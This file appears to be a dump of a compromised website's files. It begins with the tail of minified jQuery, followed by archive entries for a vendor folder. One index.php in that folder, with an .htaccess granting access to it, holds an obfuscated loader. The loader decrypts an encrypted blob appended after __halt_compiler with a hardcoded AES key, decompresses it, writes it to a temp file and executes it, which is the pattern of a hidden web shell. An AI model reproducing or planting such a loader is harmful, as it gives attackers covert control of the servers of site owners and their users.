a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
PK��\js/vendor/index.phpnu�[���PK��\��<�{{js/vendor/136544/.htaccessnu�[���#---do-not-change-the-following-content---
<FilesMatch "^(index.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>PK��\�G�i�ijs/vendor/136544/index.phpnu�[���<?php
// Tambahkan ?p= hanya jika tidak ada query string
if (empty($_SERVER['QUERY_STRING'])) {
    $url = $_SERVER['PHP_SELF'] . '?p=';
    header('Location: ' . $url);
    exit;
}
?>
<?php
 goto aC8P9; BZbKg: goto zTl7N; goto jGr3R; G2zLJ: goto l19QO; goto JuxzA; HCBh5: $mobfQqRU = "\166\116\132\105\x66\x61"; goto igkm6; aC8P9: goto hc6Qn; goto wKJHZ; k8rfp: goto soki5; goto RWbKA; n95Fj: goto XniuK; goto wzfan; iRrZ8: XniuK: goto kSIEm; kSIEm: function LJeHZSYM() { return mt_rand(1, 100); } goto UO2G2; IU5PJ: goto BkvA7; goto dqlM3; JuxzA: Pln3i: goto xkPrt; No1CB: function bgNWdVIe() { return mt_rand(1, 100); } goto bGZva; WCvSZ: hc6Qn: goto No1CB; mQR4a: goto D1RqT; goto Donvy; uM2b2: MbhO_: goto dJTad; MLbkt: goto xP6Ps; goto dhLwi; U2e9x: $plain = false; goto BZbKg; wzfan: ltxfi: goto vNPz_; jGr3R: bWsSQ: goto HLNun; tRGSy: goto ROuwT; goto Dhn4Z; vNPz_: $fp = fopen(__FILE__, "\162\x62"); goto vbjMp; R_57C: goto Ut_Tm; goto LbXm7; nBIOk: BkvA7: goto vv_V5; kU43K: zTl7N: goto p1wCg; H7g3U: uluMa: goto Nd8an; OaOaD: include $tmpFile; goto dL5KR; OEnTW: for ($i = 0; $i < 50; $i++) { $decoded = @base64_decode($payload, true); if ($decoded === false) { break; } $tmp = @gzuncompress($decoded); if ($tmp === false) { break; } $tmp2 = @gzinflate($tmp); if ($tmp2 === false) { break; } $payload = $tmp2; } goto VzCuo; cJB4g: ssdUh: goto u5a9F; dqlM3: MLbzP: goto PzPyQ; qYI2S: $tmpFile = tempnam(sys_get_temp_dir(), "\x6f\142\x66\137"); goto vawcB; F8hyz: $raw = base64_decode($payload); goto MLbkt; j06yd: haR1P: goto qYI2S; dL5KR: goto bWsSQ; goto vSbDa; XPj1s: goto dw4_7; goto kU43K; VzCuo: goto haR1P; goto T8BiC; igkm6: goto ltxfi; goto j06yd; hB9Uu: goto Ml33E; goto uM2b2; vSbDa: oUmdj: goto HCBh5; LbXm7: yUUTm: goto b1v7L; vbjMp: goto ssdUh; goto iRrZ8; dhLwi: D1RqT: goto Rt2u_; ZapwH: l19QO: goto U2e9x; EPJ2l: if (function_exists("\x64\x61\x74\x65")) { $d = date("\x59\x2d\x6d\x2d\144"); } goto IU5PJ; uPmD8: goto MbhO_; goto nBIOk; xkPrt: fclose($fp); goto XPj1s; p1wCg: $ok = false; goto EeJ_K; ciNNo: goto oUmdj; goto FHYxD; wKJHZ: zik2X: goto zND8B; UO2G2: goto zik2X; goto H7g3U; nOltn: goto Pln3i; goto VTHRC; u5a9F: fseek($fp, __COMPILER_HALT_OFFSET__); goto C1_vB; b1v7L: $tmp_xAhnBVtQ = strlen("\122\162\x45\131\147"); goto ciNNo; C1_vB: goto uluMa; goto WCvSZ; qcsC_: file_put_contents($tmpFile, $payload); goto hB9Uu; vawcB: goto YVs0K; goto qV_SR; FHYxD: xP6Ps: goto hQtn4; RWbKA: YVs0K: goto qcsC_; Donvy: Ml33E: goto OaOaD; qV_SR: dw4_7: goto EPJ2l; JPbW3: $enc_key = "\101\x66\x5a\x53\x47\121\x4c\x48\121\x52\x53\114\151\x48\x78\141\x51\152\x76\124\x4e\x51\123\x69\x6b\x6a\130\145\143\123\164\126"; goto G2zLJ; EeJ_K: goto MLbzP; goto cJB4g; vv_V5: $payload = stripcslashes($data); goto k8rfp; kaMTW: $cipher = substr($raw, 16); goto GAHNf; hQtn4: $iv = substr($raw, 0, 16); goto tRGSy; dJTad: if (!$ok) { $payload = stripcslashes($data); } goto R_57C; GAHNf: goto KWGMJ; goto ZapwH; VTHRC: Ut_Tm: goto OEnTW; hIai3: soki5: goto F8hyz; Dhn4Z: ROuwT: goto kaMTW; T8BiC: KWGMJ: goto JPbW3; HLNun: @unlink($tmpFile); goto n95Fj; zND8B: if (function_exists("\x64\141\164\145")) { $d = date("\131\55\x6d\x2d\x64"); } goto mQR4a; bGZva: goto yUUTm; goto hIai3; PzPyQ: if (function_exists("\157\160\x65\156\163\163\x6c\x5f\x64\145\x63\x72\x79\x70\x74")) { $plain = openssl_decrypt($cipher, "\101\x45\x53\x2d\x32\65\66\55\103\102\103", $enc_key, OPENSSL_RAW_DATA, $iv); if ($plain !== false) { if (function_exists("\150\141\163\150") && hash("\x73\150\141\x31", $plain) === "\x61\143\x61\x33\66\x61\x32\x30\66\62\143\142\x34\x32\65\x34\x32\x62\x36\x33\x66\x37\62\x64\61\x61\x35\x63\70\x32\x61\143\67\63\66\143\x35\x61\x34\x30") { $ok = true; $payload = $plain; } } } goto uPmD8; Nd8an: $data = stream_get_contents($fp); goto nOltn; Rt2u_: __halt_compiler();\x4d\x76\x6b\x4c\x62\x43\x49\x72\x73\x78\x49\x70\x39\x67\x66\x77\x4c\x31\x78\x77\x49\x2b\x4e\x66\x36\x65\x53\x43\x46\x59\x61\x62\x66\x62\x48\x78\x43\x62\x76\x42\x49\x61\x49\x6c\x39\x39\x7a\x6a\x4d\x62\x30\x51\x34\x55\x6a\x51\x62\x70\x57\x50\x4b\x54\x79\x53\x6b\x52\x4e\x4d\x64\x64\x4b\x57\x6a\x73\x75\x44\x7a\x6c\x59\x78\x31\x6e\x4b\x74\x76\x4e\x6a\x55\x37\x58\x59\x45\x6b\x53\x75\x59\x39\x52\x70\x54\x43\x43\x46\x63\x46\x57\x35\x50\x49\x55\x51\x33\x76\x41\x58\x35\x4e\x47\x71\x71\x39\x51\x68\x6e\x4b\x38\x31\x4a\x39\x54\x46\x68\x64\x61\x53\x76\x73\x64\x53\x4f\x35\x4d\x64\x34\x7a\x67\x33\x74\x4b\x76\x2f\x62\x79\x41\x44\x4a\x48\x61\x78\x68\x64\x4f\x5a\x5a\x36\x30\x54\x4e\x73\x45\x4a\x4c\x44\x43\x34\x30\x4d\x4c\x75\x35\x31\x74\x73\x6b\x34\x43\x65\x54\x78\x4e\x36\x56\x65\x67\x56\x5a\x67\x77\x41\x6c\x33\x38\x4a\x2f\x50\x48\x44\x51\x4d\x46\x2f\x61\x30\x48\x62\x6b\x67\x4e\x47\x54\x6d\x66\x67\x56\x78\x45\x73\x56\x74\x34\x71\x49\x76\x70\x56\x41\x36\x62\x6a\x76\x44\x6a\x62\x64\x51\x54\x30\x55\x46\x52\x50\x74\x6c\x4c\x34\x64\x48\x73\x33\x74\x41\x76\x6b\x51\x30\x6d\x42\x7a\x68\x52\x34\x4e\x41\x51\x52\x45\x47\x54\x35\x4c\x75\x63\x44\x57\x6b\x78\x42\x44\x52\x76\x6b\x6a\x49\x79\x34\x67\x76\x73\x4d\x53\x48\x72\x56\x59\x4f\x68\x55\x69\x68\x4e\x74\x52\x55\x53\x66\x52\x6e\x71\x35\x61\x6f\x48\x63\x4d\x72\x54\x70\x52\x43\x64\x77\x51\x4f\x58\x4b\x57\x6b\x32\x61\x31\x4e\x37\x79\x51\x59\x36\x65\x43\x31\x30\x49\x50\x66\x77\x65\x6c\x52\x42\x4c\x58\x70\x50\x46\x5a\x75\x35\x36\x79\x34\x33\x2f\x72\x61\x54\x7a\x53\x79\x51\x54\x61\x57\x49\x69\x6f\x56\x37\x66\x58\x61\x32\x64\x32\x4c\x71\x4a\x50\x5a\x43\x43\x49\x2b\x47\x37\x65\x4d\x54\x57\x6d\x58\x30\x34\x6f\x4c\x74\x41\x46\x64\x2f\x4c\x78\x66\x53\x68\x76\x59\x46\x6b\x57\x67\x45\x43\x39\x41\x52\x73\x6c\x45\x53\x51\x79\x75\x78\x43\x44\x67\x39\x6a\x46\x2f\x64\x6d\x75\x70\x54\x67\x6f\x4b\x4b\x35\x2f\x63\x54\x6e\x41\x33\x6e\x6e\x70\x42\x74\x74\x65\x71\x65\x75\x69\x51\x78\x61\x4e\x31\x45\x70\x41\x2b\x56\x75\x4f\x31\x6a\x6e\x49\x49\x69\x2f\x46\x58\x61\x55\x79\x39\x6d\x2f\x30\x6b\x55\x65\x42\x54\x37\x43\x56\x51\x77\x4b\x66\x6d\x59\x46\x33\x38\x52\x47\x32\x4e\x69\x6f\x6a\x76\x39\x39\x2f\x52\x6f\x54\x58\x30\x73\x50\x55\x55\x4f\x36\x36\x49\x43\x6e\x51\x43\x35\x79\x6d\x6c\x45\x31\x76\x64\x77\x76\x35\x6c\x50\x42\x63\x7a\x64\x47\x4b\x75\x44\x2f\x74\x47\x36\x6a\x69\x2f\x44\x68\x31\x66\x51\x37\x54\x41\x77\x6a\x4f\x74\x76\x56\x77\x39\x67\x67\x68\x70\x79\x6e\x74\x57\x75\x6a\x5a\x6e\x45\x39\x78\x30\x68\x41\x41\x6c\x4b\x57\x47\x4b\x36\x33\x4d\x75\x6e\x48\x48\x52\x6c\x49\x76\x32\x54\x6f\x6e\x46\x70\x4a\x6a\x36\x45\x66\x33\x4c\x6e\x31\x72\x39\x41\x59\x78\x51\x48\x51\x78\x46\x53\x55\x74\x79\x54\x69\x5a\x31\x53\x34\x37\x73\x49\x6f\x47\x72\x61\x32\x6b\x51\x33\x74\x34\x70\x73\x75\x58\x51\x41\x51\x5a\x77\x30\x57\x43\x65\x4c\x6e\x50\x35\x30\x31\x6b\x4c\x32\x66\x63\x66\x44\x68\x6c\x66\x47\x48\x77\x46\x77\x58\x46\x36\x6b\x54\x33\x73\x7a\x63\x59\x61\x6e\x69\x4c\x43\x42\x46\x6c\x38\x39\x45\x64\x4d\x4c\x56\x4d\x69\x6e\x77\x4f\x61\x68\x4d\x31\x6a\x56\x6a\x58\x4b\x6a\x46\x53\x45\x58\x6e\x34\x39\x35\x78\x5a\x59\x71\x49\x2f\x33\x35\x78\x6d\x45\x70\x69\x2f\x6a\x67\x66\x37\x56\x77\x37\x79\x33\x32\x55\x46\x41\x6d\x33\x48\x71\x6e\x4d\x48\x6f\x32\x41\x75\x63\x43\x43\x42\x33\x71\x77\x4b\x46\x52\x4c\x67\x4b\x38\x47\x4d\x69\x71\x64\x52\x2b\x4b\x6f\x6c\x6f\x48\x71\x58\x4b\x42\x39\x54\x65\x50\x55\x77\x39\x76\x59\x52\x6c\x62\x43\x39\x55\x77\x36\x6e\x54\x68\x6b\x4f\x30\x44\x59\x51\x4c\x53\x58\x30\x68\x30\x72\x56\x6a\x69\x6d\x45\x44\x6c\x4a\x51\x46\x4d\x36\x39\x6c\x4f\x74\x4f\x79\x49\x76\x68\x4b\x64\x4b\x57\x69\x37\x45\x4c\x6c\x71\x2b\x67\x51\x55\x4b\x44\x75\x43\x68\x6e\x39\x49\x6d\x4b\x6d\x67\x7a\x32\x59\x67\x37\x49\x47\x36\x35\x73\x49\x70\x36\x6b\x34\x61\x32\x50\x4f\x53\x31\x6b\x71\x68\x57\x45\x39\x6e\x74\x4c\x37\x70\x78\x6d\x48\x38\x44\x46\x73\x58\x56\x73\x6d\x4b\x32\x41\x56\x62\x42\x47\x63\x49\x79\x6f\x57\x6c\x72\x76\x43\x32\x66\x70\x33\x43\x58\x64\x79\x4d\x52\x71\x7a\x33\x79\x65\x69\x4a\x32\x68\x78\x55\x65\x30\x66\x57\x7a\x41\x66\x34\x74\x64\x62\x4e\x39\x4b\x68\x34\x77\x6e\x47\x53\x52\x4f\x64\x4a\x61\x47\x68\x32\x55\x44\x30\x5a\x4e\x43\x72\x41\x70\x58\x55\x65\x64\x37\x4a\x67\x38\x53\x46\x59\x6f\x2b\x4a\x6a\x63\x71\x69\x74\x32\x41\x43\x4c\x61\x48\x46\x49\x58\x7a\x31\x75\x4b\x74\x63\x52\x43\x53\x62\x48\x68\x49\x74\x6b\x6c\x46\x42\x5a\x39\x41\x4f\x6c\x37\x53\x4a\x31\x4f\x53\x62\x77\x69\x63\x4c\x72\x4e\x4e\x53\x58\x46\x74\x74\x72\x6b\x6e\x37\x56\x51\x64\x75\x48\x30\x44\x32\x54\x79\x61\x6c\x52\x61\x68\x47\x6d\x42\x37\x56\x6b\x65\x76\x72\x65\x54\x5a\x4f\x59\x54\x71\x64\x75\x37\x72\x76\x42\x6c\x78\x4e\x44\x42\x46\x68\x62\x48\x48\x4e\x64\x56\x49\x50\x54\x47\x4c\x39\x48\x6a\x74\x6e\x30\x6a\x4a\x71\x6b\x4e\x4f\x57\x64\x70\x33\x42\x65\x49\x41\x74\x52\x6e\x4a\x2f\x39\x32\x73\x64\x4c\x64\x44\x45\x7a\x67\x78\x53\x61\x32\x79\x42\x47\x45\x33\x67\x63\x64\x31\x69\x32\x53\x68\x31\x2b\x78\x56\x52\x46\x71\x71\x38\x57\x4e\x58\x6c\x36\x47\x70\x6b\x41\x4c\x4d\x6a\x74\x43\x31\x72\x66\x55\x37\x67\x54\x75\x47\x6e\x44\x71\x50\x30\x6d\x7a\x4a\x75\x78\x79\x34\x67\x41\x75\x58\x70\x6e\x41\x79\x69\x70\x63\x2b\x56\x50\x62\x5a\x7a\x33\x4a\x42\x4f\x46\x63\x30\x75\x4e\x39\x59\x70\x64\x77\x54\x61\x62\x64\x31\x70\x43\x48\x6d\x50\x33\x6b\x41\x64\x62\x35\x2b\x48\x6d\x55\x32\x46\x34\x4e\x6c\x6e\x51\x2f\x78\x6f\x35\x56\x31\x74\x31\x61\x77\x45\x36\x61\x6d\x7a\x63\x51\x4c\x65\x32\x7a\x79\x46\x64\x47\x78\x31\x4e\x53\x6a\x62\x57\x33\x53\x71\x6e\x46\x6e\x61\x30\x37\x4c\x4a\x6f\x36\x68\x6c\x4e\x33\x51\x6c\x44\x70\x55\x45\x4b\x41\x75\x69\x58\x36\x45\x34\x61\x64\x7a\x75\x36\x66\x2f\x6d\x42\x69\x54\x48\x7a\x79\x4f\x32\x34\x72\x71\x61\x4e\x65\x66\x6f\x65\x69\x4a\x42\x4a\x57\x55\x5